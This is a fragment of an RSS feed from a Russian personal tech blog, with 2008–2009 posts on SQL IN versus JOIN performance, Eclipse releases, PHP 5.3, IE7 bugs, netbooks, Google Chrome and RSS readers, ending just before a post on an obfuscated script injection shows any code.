<p>Есть все предпосылки полагать, что красивый и изящный оператор IN / NOT IN в SQL-запросе сильно неэффективен на больших таблицах по сравнению с прямым сравнением значений по индексам и в том числе в операциях INNER / LEFT JOIN, т.к. похоже, что IN / NOT IN действует простым перебором, что сильно удорожает его применение. Здесь грустный вздох.</p>
<p>Но что нехорошо, возможная на первый взгляд полноценная замена выражения, например:</p>
<blockquote><p><font face="Lucida Console">SELECT</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; table1.param</font><br />
<font face="Lucida Console"> FROM</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; table1</font><br />
<font face="Lucida Console"> WHERE</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; table1.param NOT IN (</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; SELECT</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; table2.param</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; FROM</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; table2</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; WHERE</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; table2.predicate</font><br />
<font face="Lucida Console"> &nbsp;&nbsp;&nbsp; )</font>
</p></blockquote>
<p><span id="more-471"></span></p>
<p>на:</p>
<blockquote>
<p><font face="Lucida Console">SELECT DISTINCT<br />
&nbsp;&nbsp;&nbsp; table1.param<br />
FROM<br />
&nbsp;&nbsp;&nbsp; table1<br />
LEFT JOIN<br />
&nbsp;&nbsp;&nbsp; table2<br />
ON<br />
&nbsp;&nbsp;&nbsp; table2.param&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; = table1.param<br />
WHERE<br />
&nbsp;&nbsp;&nbsp; NOT(table2.predicate)</font></p>
</blockquote>
<p>тоже неэффективна, т.к. в отрицании предиката нужно для всех полей, участвующие в нем, дополнительно добавлять проверку на IS NULL, который сам неэффективен по быстродействию.</p>
<p>&nbsp;Единственно остающийся вариант для промышленной замены IN &#8212; INNER JOIN временной таблицы.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/work/sql-in-not-in/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>3D рисовалка Rhonda</title>
		<link>http://blekel.ru/sys/3d-rhonda</link>
		<comments>http://blekel.ru/sys/3d-rhonda#comments</comments>
		<pubDate>Wed, 05 Aug 2009 12:29:37 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=376</guid>
		<description><![CDATA[Отличный способ реализации! Я думаю получит большое развитие в будущем. Джеймс Петерсон (James Paterson) рисует с помощью &#171;Rhonda&#187; 3D drawing tool, разработанного Amit Pitaru в 2003 году. В течении нескольких лет Rhonda показывали в галереях, музеях и на конференциях. Теперь видео доступно online. Разработчики обещают мультиплатформенность данной технологии.]]></description>
			<content:encoded><![CDATA[<p>Отличный способ реализации! Я думаю получит большое развитие в будущем.</p>
<p><object width="425" height="344"><param value="http://www.youtube.com/v/Q68yDR94_p0&amp;hl=ru&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999" name="movie" /><param value="true" name="allowFullScreen" /><param value="always" name="allowscriptaccess" /><embed width="425" height="344" allowfullscreen="true" allowscriptaccess="always" type="application/x-shockwave-flash" src="http://www.youtube.com/v/Q68yDR94_p0&amp;hl=ru&amp;fs=1&amp;color1=0x3a3a3a&amp;color2=0x999999"></embed></object></p>
<blockquote>
<p>Джеймс Петерсон (James Paterson) рисует с помощью <a href="http://rhondaforever.com/" target="_blank">&laquo;Rhonda&raquo;</a> 3D drawing tool, разработанного Amit Pitaru в 2003 году. В течении нескольких лет Rhonda показывали в галереях, музеях и на конференциях. Теперь видео доступно online.</p>
<p>Разработчики обещают мультиплатформенность данной технологии.</p>
</blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/3d-rhonda/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>F.Sh</title>
		<link>http://blekel.ru/work/f-sh</link>
		<comments>http://blekel.ru/work/f-sh#comments</comments>
		<pubDate>Tue, 28 Jul 2009 07:07:16 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>
		<category><![CDATA[work]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=367</guid>
		<description><![CDATA[Проблемы в датацентре. Фактически все наши сервера недоступны уже больше получаса, соответственно сервис AdFox не работает, что тормозит загрузку пол-рунета сайтов, которые ждут отдачу наших баннеров. UPD. часть серверов доступна, движки заработали, полёт исправлен.]]></description>
			<content:encoded><![CDATA[<p>Проблемы в датацентре. Фактически все наши сервера недоступны уже больше получаса, соответственно сервис AdFox не работает, что тормозит загрузку пол-рунета сайтов, которые ждут отдачу наших баннеров.</p>
<p>UPD.</p>
<p>часть серверов доступна, движки заработали, полёт исправлен.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/work/f-sh/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>eclipse.new</title>
		<link>http://blekel.ru/sys/eclipse-new</link>
		<comments>http://blekel.ru/sys/eclipse-new#comments</comments>
		<pubDate>Tue, 14 Jul 2009 08:44:15 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=362</guid>
		<description><![CDATA[Сегодня я уже полностью пересел с ганимеда на галилео. Т.к. спустя какое-то время после релиза галилео основные баги были исправлены (на портале можно найти апдейты), хотя скорее всего некоторые еще остались. Обновились плагины, которые сначала не работали с новой версией (пример, Notepad). В целом здесь наблюдаются заметные улучшения в плане удобства и, похоже, производительности.]]></description>
			<content:encoded><![CDATA[<p>Сегодня я уже полностью пересел с ганимеда на <a href="http://blekel.ru/sys/eclipse-galileo" target="_blank">галилео</a>.</p>
<p>Т.к. спустя какое-то время после релиза галилео основные баги были исправлены (на портале можно найти апдейты), хотя скорее всего некоторые еще остались. <img alt="" src="http://blekel.ru/wp-content/plugins/deans_fckeditor/smiles/nordic/icon_cool.gif" /> Обновились плагины, которые сначала не работали с новой версией (пример, <a href="http://www.eclipseplugincentral.com/Web_Links-index-req-viewlink-cid-1370.html" target="_blank">Notepad</a>).</p>
<p>В целом здесь наблюдаются заметные улучшения в плане удобства и, похоже, производительности.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/eclipse-new/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP 5.3</title>
		<link>http://blekel.ru/sys/php-5-3</link>
		<comments>http://blekel.ru/sys/php-5-3#comments</comments>
		<pubDate>Thu, 09 Jul 2009 12:55:09 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=358</guid>
		<description><![CDATA[Кстати, в версии PHP 5.3, в нововведениях помимо прочих неймспейсов &#8212; некоторые функции объявлены деприкеит (нерекомендуемые, отмеченные для удаления). Значимые из них, например, семейство обработки POSIX-like регулярных выражений ereg() [уступает изначально PERL-like семейству preg_match()] и split() [уступает split_match()]. Команда &#34;grep&#34; по исходникам интерфесов выдала присутствие &#34;уже нерекомендуемых&#34;. Хотя именно с этим функциями у многих так [...]]]></description>
			<content:encoded><![CDATA[<p>Кстати, в версии <a target="_blank" href="http://docs.php.net/migration53">PHP 5.3</a>, в нововведениях помимо прочих <a target="_blank" href="http://ru2.php.net/manual/en/language.namespaces.php">неймспейсов</a> &#8212; некоторые функции объявлены деприкеит (нерекомендуемые, отмеченные для удаления). Значимые из них, например, семейство обработки POSIX-like регулярных выражений <a target="_blank" href="http://docs.php.net/manual/en/function.ereg.php">ereg()</a> [уступает изначально PERL-like семейству <a target="_blank" href="http://docs.php.net/manual/en/function.preg-match.php">preg_match()</a>] и <a target="_blank" href="http://docs.php.net/manual/en/function.split.php">split()</a> [уступает <a target="_blank" href="http://docs.php.net/manual/en/function.preg-split.php">split_match()</a>].</p>
<p>Команда &quot;grep&quot; по исходникам интерфесов выдала присутствие &quot;уже нерекомендуемых&quot;. Хотя именно с этим функциями у многих так будет. Так что нада будет модернизировать на всякий.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/php-5-3/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Оператор GOTO и религия</title>
		<link>http://blekel.ru/fun/operator-goto</link>
		<comments>http://blekel.ru/fun/operator-goto#comments</comments>
		<pubDate>Thu, 09 Jul 2009 12:01:15 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[Fun]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=354</guid>
		<description><![CDATA[У содателей языка Похапэ есть здоровое чувство юмора: Оригинальная страница.]]></description>
			<content:encoded><![CDATA[<p>У содателей языка Похапэ есть здоровое чувство юмора:</p>
<p><a href="http://fun.blekel.ru/images/2009.07.09_15.54.00__0baa1b9fae6aec5.png" target="_blank"><img src="http://fun.blekel.ru/images/2009.07.09_15.54.00__0baa1b9fae6aec5.png" alt="GOTO" /></a></p>
<p>Оригинальная <a href="http://docs.php.net/manual/en/control-structures.goto.php" target="_blank">страница</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/fun/operator-goto/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Eclipse.Galileo</title>
		<link>http://blekel.ru/sys/eclipse-galileo</link>
		<comments>http://blekel.ru/sys/eclipse-galileo#comments</comments>
		<pubDate>Thu, 25 Jun 2009 07:12:43 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=334</guid>
		<description><![CDATA[Вот и дождались Eclipse IDE новой версии 3.5, которая теперь называется Galileo (v3.4 &#8212; Ganymede; v3.3 &#8212; Europa; с более старыми не работал вообще). Что это такое, читать на wiki. Читать изменения. Сейчас буду ставить плагины с нуля, чтобы обойтись без гейзенбагов, а потом подцеплю главный воркспейс. А вообще хотелось бы большего сближения эклипса с [...]]]></description>
			<content:encoded><![CDATA[<p>Вот и дождались <a target="_blank" href="http://www.eclipse.org">Eclipse IDE</a> новой версии 3.5, которая теперь называется Galileo (v3.4 &#8212; Ganymede; v3.3 &#8212; Europa; с более старыми не работал вообще).</p>
<p>Что это такое, читать на <a href="http://ru.wikipedia.org/wiki/Eclipse" target="_blank">wiki</a>. Читать <a target="_blank" href="http://www.infoq.com/news/2009/06/galileo">изменения</a>.</p>
<p align="center"><a target="_blank" href="http://www.eclipse.org"><img height="295" width="455" alt="" src="http://blekel.ru/wp-content/uploads/eclipse_galileo.png" /></a></p>
<p align="left">Сейчас буду ставить плагины с нуля, чтобы обойтись без гейзенбагов, а потом подцеплю главный воркспейс.</p>
<p align="left">А вообще хотелось бы большего сближения эклипса с вимом (<a href="http://vim.org" target="_blank">Vim</a>), как это имеется в случае с Emacs, чтобы эту часть не выполняли &quot;левые&quot; плагины разного рода недоработанности &#8212; я как-то писал <a href="http://zlo.rt.mipt.ru/index.cgi?read=5396568" target="_blank">заметку</a> по этому вопросу.</p>
<p><span id="more-334"></span></p>
<p align="center">v.3.4 &#8212; Ganymede</p>
<p align="center"><img height="295" width="455" src="http://blekel.ru/wp-content/uploads/eclipse_ganymede_1.png" alt="" /></p>
<p>&nbsp;</p>
<p align="center">v.3.3 &#8212; Europa</p>
<p align="center"><img height="295" width="455" src="http://blekel.ru/wp-content/uploads/eclipse_europa.png" alt="" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/eclipse-galileo/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Железные мозги</title>
		<link>http://blekel.ru/sys/memory-eee-p%d1%81</link>
		<comments>http://blekel.ru/sys/memory-eee-p%d1%81#comments</comments>
		<pubDate>Tue, 26 May 2009 21:19:32 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[checkpoint]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=278</guid>
		<description><![CDATA[Сделал апгрейд своего EEE PC 1000H, заменил стандартный 1Гб памяти на 2Гб. Большего объема планки SO-DIMM DDR2 не бывают (только 2 по 2), а то хотелось бы 4.]]></description>
			<content:encoded><![CDATA[<p>Сделал апгрейд своего EEE PC 1000H, заменил стандартный 1Гб памяти на 2Гб. Большего объема планки SO-DIMM DDR2 не бывают (только 2 по 2), а то хотелось бы 4.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/memory-eee-p%d1%81/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Повторения</title>
		<link>http://blekel.ru/sys/reenter</link>
		<comments>http://blekel.ru/sys/reenter#comments</comments>
		<pubDate>Wed, 22 Apr 2009 15:27:38 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=247</guid>
		<description><![CDATA[Сегодня вышел релиз новой версии библиотеки генерации Excel, с точно тем же багом, который проявился в предыдущей версии. Пришлось опять залезть внутрь и поправить. Нет привычки баг-репортов.]]></description>
			<content:encoded><![CDATA[<p>Сегодня вышел релиз новой версии библиотеки генерации Excel, с точно тем же багом, который проявился в предыдущей версии. <img alt="" src="http://blekel.ru/wp-content/plugins/deans_fckeditor/smiles/nordic/icon_eek.gif" /></p>
<p>Пришлось опять залезть внутрь и поправить. Нет привычки баг-репортов.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/reenter/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>15 лет .ru</title>
		<link>http://blekel.ru/not-null/15-ru</link>
		<comments>http://blekel.ru/not-null/15-ru#comments</comments>
		<pubDate>Tue, 07 Apr 2009 12:01:16 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[not null]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/?p=229</guid>
		<description><![CDATA[Кстати. Поздравляю всех с 15-летием домена .ru Рунет &#8211; подросток только. Со всеми вытекающими отсюда последствиями. ) Офсайт: 15.cctld.ru]]></description>
			<content:encoded><![CDATA[<p>Кстати. Поздравляю всех с 15-летием домена .ru</p>
<p>Рунет &#8211; подросток только. Со всеми вытекающими отсюда последствиями. )</p>
<p><span id="more-229"></span></p>
<p>Офсайт: <a target="_blank" href="http://15.cctld.ru/">15.cctld.ru</a></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/not-null/15-ru/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DDoS</title>
		<link>http://blekel.ru/sys/ddos</link>
		<comments>http://blekel.ru/sys/ddos#comments</comments>
		<pubDate>Tue, 17 Mar 2009 07:46:52 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/sys/ddos</guid>
		<description><![CDATA[Какой-то пацанчик балуется тем, что спонтанно делает DDoS-атаки на относительно крупные сайты. Наверное, ждёт когда его вы-бут. Судя по всему больше всего постарадал Коммерсант. И нам тоже досталось.]]></description>
			<content:encoded><![CDATA[<p>Какой-то пацанчик балуется тем, что спонтанно делает DDoS-атаки на относительно крупные сайты. Наверное, ждёт когда его вы-бут.</p>
<p>Судя по всему больше всего постарадал Коммерсант. И нам тоже досталось.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/ddos/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Не верь глазам своим</title>
		<link>http://blekel.ru/sys/ne-ver-glazam-svoim</link>
		<comments>http://blekel.ru/sys/ne-ver-glazam-svoim#comments</comments>
		<pubDate>Fri, 26 Sep 2008 08:34:53 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/sys/ne-ver-glazam-svoim</guid>
		<description><![CDATA[Только что, тестируя динамические формы в целях улучшения юзабилити интерфейсов, отловил некрасивый баг в IE 7. Если к дропдауну применять метод removeChild, то визуально он не меняется, хотя элементы действительно удаляются из DOM-а. Получается, что выбирая какой-то элемент, на самом деле выбирается другой, &#34;сдвинутый&#34; вверх, или вообще ничего, если местоположение ниже виртуальной границы внутреннего списка. [...]]]></description>
			<content:encoded><![CDATA[<p>Только что, тестируя динамические формы в целях улучшения юзабилити интерфейсов, отловил некрасивый баг в IE 7.</p>
<p>Если к дропдауну применять метод removeChild, то визуально он не меняется, хотя элементы действительно удаляются из DOM-а. Получается, что выбирая какой-то элемент, на самом деле выбирается другой, &quot;сдвинутый&quot; вверх, или вообще ничего, если местоположение ниже виртуальной границы внутреннего списка. Собственно, динамически применять disabled к опшину дропдауна тоже не умеет. Зверь песец, а не программа. Хорошо хотя бы, что как альтернатива работает специализированный remove().</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/ne-ver-glazam-svoim/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Terminal choice: Asus EEE PC 1000h</title>
		<link>http://blekel.ru/not-null/terminal-choice-asus-eee-pc-1000h</link>
		<comments>http://blekel.ru/not-null/terminal-choice-asus-eee-pc-1000h#comments</comments>
		<pubDate>Tue, 23 Sep 2008 18:10:05 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[not null]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/simple/terminal-choice-asus-eee-pc-1000h</guid>
		<description><![CDATA[Речь не о музыке :-) Итак, окончательный выбор был сделан в пользу Asus EEE PC 1000H (black). На виндюках и жестким диском. Полёт превосходный с выходных. Все больше привыкаю к новым габаритам, мобильности, весу, размеру экрана и т.д. Заявленная продолжительность работы от батареи &#8211; 7 часов. От первой зарядки проработал немного менее 4 часов на [...]]]></description>
			<content:encoded><![CDATA[<p>Речь не о музыке :-)</p>
<p align="center"><img width="450" height="559" src="http://www.flashcom.ru/images/gif/asus/eee1000/1_700.jpg" alt="Asus eee pc 1000H black" /></p>
<p>Итак, окончательный выбор был сделан в пользу Asus EEE PC 1000H (black). На виндюках и жестким диском. Полёт превосходный с выходных. Все больше привыкаю к новым габаритам, мобильности, весу, размеру экрана и т.д. Заявленная продолжительность работы от батареи &#8211; 7 часов. От первой зарядки проработал немного менее 4 часов на нагрузке, близкой к максимальной: видео, wifi, музыка с ластфм, и тд</p>
<p>Собственно, семимильный шаг в мобильно-технологичное будущее.</p>
<p>Для подавляющего большинства моих целей &#8211; идально подходит, поэтому решил переместиться на него полностью 8-)</p>
<p>Кстати, процесс чтения на нем гораздо приятнее, чем с компа и даже ноута.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/not-null/terminal-choice-asus-eee-pc-1000h/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Google Chrome</title>
		<link>http://blekel.ru/not-null/google-chrome</link>
		<comments>http://blekel.ru/not-null/google-chrome#comments</comments>
		<pubDate>Wed, 03 Sep 2008 13:42:20 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[not null]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/simple/google-chrome</guid>
		<description><![CDATA[Кто еще не в курсе, появился новый браузер, Google Chrome. Поражает своей скоростью рендеринга, визуально страницы отображаются настолько быстро (при нормальном соединении), что время &#34;отклика&#34; едва замечается. Намного лучше, чем у аналогов, даже хвалёной Оперы. Юзабилити табов, на мой взгляд, уступает реализации в FF (точнее у ее плагина), но намного лучше, чем у O. У [...]]]></description>
			<content:encoded><![CDATA[<p>Кто еще не в курсе, появился новый браузер, <a target="_blank" href="http://www.google.com/chrome/">Google Chrome</a>.</p>
<p>Поражает своей скоростью рендеринга, визуально страницы отображаются настолько быстро (при нормальном соединении), что время &quot;отклика&quot; едва замечается. Намного лучше, чем у аналогов, даже хвалёной Оперы. Юзабилити табов, на мой взгляд, уступает реализации в FF (точнее у ее плагина), но намного лучше, чем у O. У меня обычно всегда открыто ~30-50 табов и удобство перехода между табами становится тоже весьма важным фактором. Настраиваемость пока почти на нуле, но за долгое время тюнинга FF под себя разными плагинами, через какое-то время сложилась ситуация, что б<em>о</em>льшая их часть стали для меня малоиспользуемыми. Наблюдается еще несколько небольших огрехов, в том числе, например, как и в O. не отображается панель FCKEditor-а в форме постинга WordPress-а. В любом случае &#8211; отличный старт дан, и Гугл, как обычно, сделает лучший продукт for our pleasure. <br />
Это уже мой выбор.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/not-null/google-chrome/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>MSI Wind</title>
		<link>http://blekel.ru/sys/msi-wind</link>
		<comments>http://blekel.ru/sys/msi-wind#comments</comments>
		<pubDate>Fri, 04 Jul 2008 15:11:29 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/sys/msi-wind</guid>
		<description><![CDATA[Пока в Германии, по сообщениям очевидцев, уже раскупают как горячие пирожки, в нашей стране как обычно люди щастья ждут позже всех [ раз и два ]. Бля. UPD. Главные разницы между уже поюзанным вживую EEE PC 900 и теперь столь желаемым MSI Wind (U100): 1) убиваемая (особенно виндюками) флешка SSD / заменяемый винт 2.5&#34;; 2) [...]]]></description>
			<content:encoded><![CDATA[<p align="center"><img src="http://newhomegadget.com/wp-content/uploads/2008/05/79810.jpg" alt="MSI Wind" /></p>
<p>Пока в Германии, по <a href="http://delimiter.livejournal.com/92570.html" target="_blank">сообщениям очевидцев</a>, уже раскупают как горячие пирожки, в нашей стране как обычно люди щастья ждут позже всех [ <a href="http://www.microstar.ru/program/newsrelease/news_page.php?UID=826" target="_blank">раз</a> и <a href="http://community.livejournal.com/microstar_wind/5828.html" target="_blank">два</a> ]. Бля.</p>
<p>UPD.<br />
Главные разницы между уже поюзанным вживую EEE PC 900 и теперь столь желаемым MSI Wind (U100): 1) убиваемая (особенно виндюками) флешка SSD / заменяемый винт 2.5&quot;; 2) клавиши крупнее и оптимизированнее у MSI; 3) проц Celeron M 900 МГц / проц Intel Atom 1.6 ГГц</p>
<p>EEE PC (900) вызывает непередаваемый восторг своими незаметным весом и компактностью, у него лучшее (надежное) на мой взгляд соединение экрана с телом. Но на фоне &quot;небольших&quot; различий, MSI Wind (произвище &quot;убийца EEE PC&quot;) побеждает вообще без каких-либо сомнений.</p>
<p>Я сплю и вижу, как можно &quot;на природе&quot; (в парке) сесть где-нить возле фонтана, и с легкостью развернуть активную полноценную рабочую, читательную или развлекательную деятельность. Не замечая ни веса, ни габаритов таскаемого за собой девайса.</p>
<p>Вот так незаметно входим в новую мобильно-технологичную эру, ага.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/msi-wind/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Asus EEE PC 900</title>
		<link>http://blekel.ru/sys/asus-eee-pc-900</link>
		<comments>http://blekel.ru/sys/asus-eee-pc-900#comments</comments>
		<pubDate>Mon, 09 Jun 2008 10:20:08 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/sys/asus-eee-pc-900</guid>
		<description><![CDATA[Ура, нах! В офисе появился красавец ультракомпактный EEE новой модели, на Linux. Предназначение &#8211; для поездок. Сидим, ковыряем =) Конечно, клавиатура мелковата, &#8211; а то иначе для портабельного фулл-тайм кодинга можно было бы брать 8-)]]></description>
			<content:encoded><![CDATA[<p>Ура, нах! В офисе появился красавец ультракомпактный EEE новой модели, на Linux. Предназначение &#8211; для поездок. Сидим, ковыряем =)</p>
<p>Конечно, клавиатура мелковата, &#8211; а то иначе для портабельного фулл-тайм кодинга можно было бы брать 8-)</p>
<p align="center"><img height="322" src="http://oldi.ru/catalog/img/6/21565/asus-epc-900_3.jpg" alt="Asus EEE PC 900 Linux Black" /></p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/sys/asus-eee-pc-900/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>RSS</title>
		<link>http://blekel.ru/not-null/rss-2</link>
		<comments>http://blekel.ru/not-null/rss-2#comments</comments>
		<pubDate>Tue, 20 May 2008 07:15:20 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[not null]]></category>
		<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/simple/rss-2</guid>
		<description><![CDATA[А вы все еще пользуетесь браузером? Тогда мы идем к вам! В одно время я решил провести оптимизацию времени, которое тратится на инет, а именно &#8211; всё и вся, что отдается в RSS, читать только через RSS, а уже оттуда самое интересное открывать в браузере по необходимости. Для этой цели были перебробованы все найденные RSS-аггрегаторы, [...]]]></description>
			<content:encoded><![CDATA[<p><em>А вы все еще пользуетесь браузером? Тогда мы идем к вам!</em></p>
<p>В одно время я решил провести оптимизацию времени, которое тратится на инет, а именно &#8211; всё и вся, что отдается в RSS, читать только через RSS, а уже оттуда самое интересное открывать в браузере по необходимости.</p>
<p>Для этой цели были перебробованы все найденные RSS-аггрегаторы, от самых известных до недоделанных, заброшенных или недавно появившихся поделок. В сумме около 2-х десятков. Я очень привередлив к идеалам. Поэтому фактически в каждом присутствовали какие-то недостатки: либо ресурсов жрал много, либо на ущербном .net, либо необходимых тонкостей гибкого функционала не хватало. Раньше несколько лет использовал Abilon, но он перестал поддерживаться и экспортировал уже устаревший формат opml, который требовал ручной корректировки.</p>
<p><span id="more-156"></span></p>
<p>В результате проведенных тестов победил один продукт, подходящий по всем параметрам &#8211; это <a href="http://www.newsgator.com/individuals/feeddemon/default.aspx" target="_blank">FeedDemon</a>. Быстрый, жрет мало ресурсов, обладает всем необходимым функционалом и даже больше, бесплатен. (И это не реклама, а product placement <img alt="" src="http://blekel.ru/wp-includes/images/smilies/icon_smile.gif" />).</p>
<p>Особенно удобно через RSS читать ЖЖ. Френдлента сама доставляется по мере поступления, показывая во всплывающем окошке рядом с треем где и сколько нового поступило, не отвлекая от основных занятий. Каналы распределяются (вручную) по тематическим папкам, каждая из которых читается в виде единой ленты. Логично, например, разделить френдов и коммюнити в разные места, а последние вообще по тематикам. Френдов, впринципе, также можно разделять по собственным умозрениям <img src="http://blekel.ru/wp-includes/images/smilies/icon_cool.gif" alt="" />.</p>
<p>Вручную вносить каждый фид, особенно с нуля, дело муторное, а при меняющемся списке <br />
вообще рутина следить за каналами.</p>
<p>Можно для этого использовать простые <a href="http://blekel.ru/tools/Livejournal_RSS_Update.rar">консольные утилиты</a>. Рецепт: копирование списка френдов и коммюнити прямо из профайла в соответствующие текстовые файлы (простой список ников френдов и названий коммюнити, разделенных запятыми, катят и пробелы). Запустить каждую утилиту &#8211; на выходе получатся готовые opml-файлы, содержащие все необходимые фиды, которые легко импортировать в аггрегатор (FeedDemon отфильтрует уже занесенные в список; но удалять &quot;ненужные&quot; придется вручную). Have fun.</p>
]]></content:encoded>
			<wfw:commentRss>http://blekel.ru/not-null/rss-2/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Brainfuck</title>
		<link>http://blekel.ru/sys/brainfuck</link>
		<comments>http://blekel.ru/sys/brainfuck#comments</comments>
		<pubDate>Fri, 18 Apr 2008 15:40:56 +0000</pubDate>
		<dc:creator>Blekel</dc:creator>
				<category><![CDATA[sys::]]></category>

		<guid isPermaLink="false">http://blekel.ru/sys/brainfuck</guid>
		<description><![CDATA[Существует некий мертворожденный язык, под названием Brainfuck, созданный исключительно для забавы, т.к. написание на нем даже самых простых вещей &#8211; занятие, хм, увлекательное. Но речь на самом деле не об этом. Друг админ на одном из своих сайтов, который был взломан, нашел вставку на JavaScript, телом подобную на Бреинфак. Вот она, в оригинале: &#60;br /&#62;&#60;p [...]]]></description>
			<content:encoded><![CDATA[<p>Существует некий мертворожденный язык, под названием <a target="_blank" href="http://ru.wikipedia.org/wiki/Brainfuck">Brainfuck</a>, созданный исключительно для забавы, т.к. написание на нем даже самых простых вещей &#8211; занятие, хм, увлекательное.</p>
<p>Но речь на самом деле не об этом.</p>
<p>Друг админ на одном из своих сайтов, который был взломан, нашел вставку на JavaScript, телом подобную на Бреинфак. Вот она, в оригинале:</p>
<p><span id="more-146"></span></p>
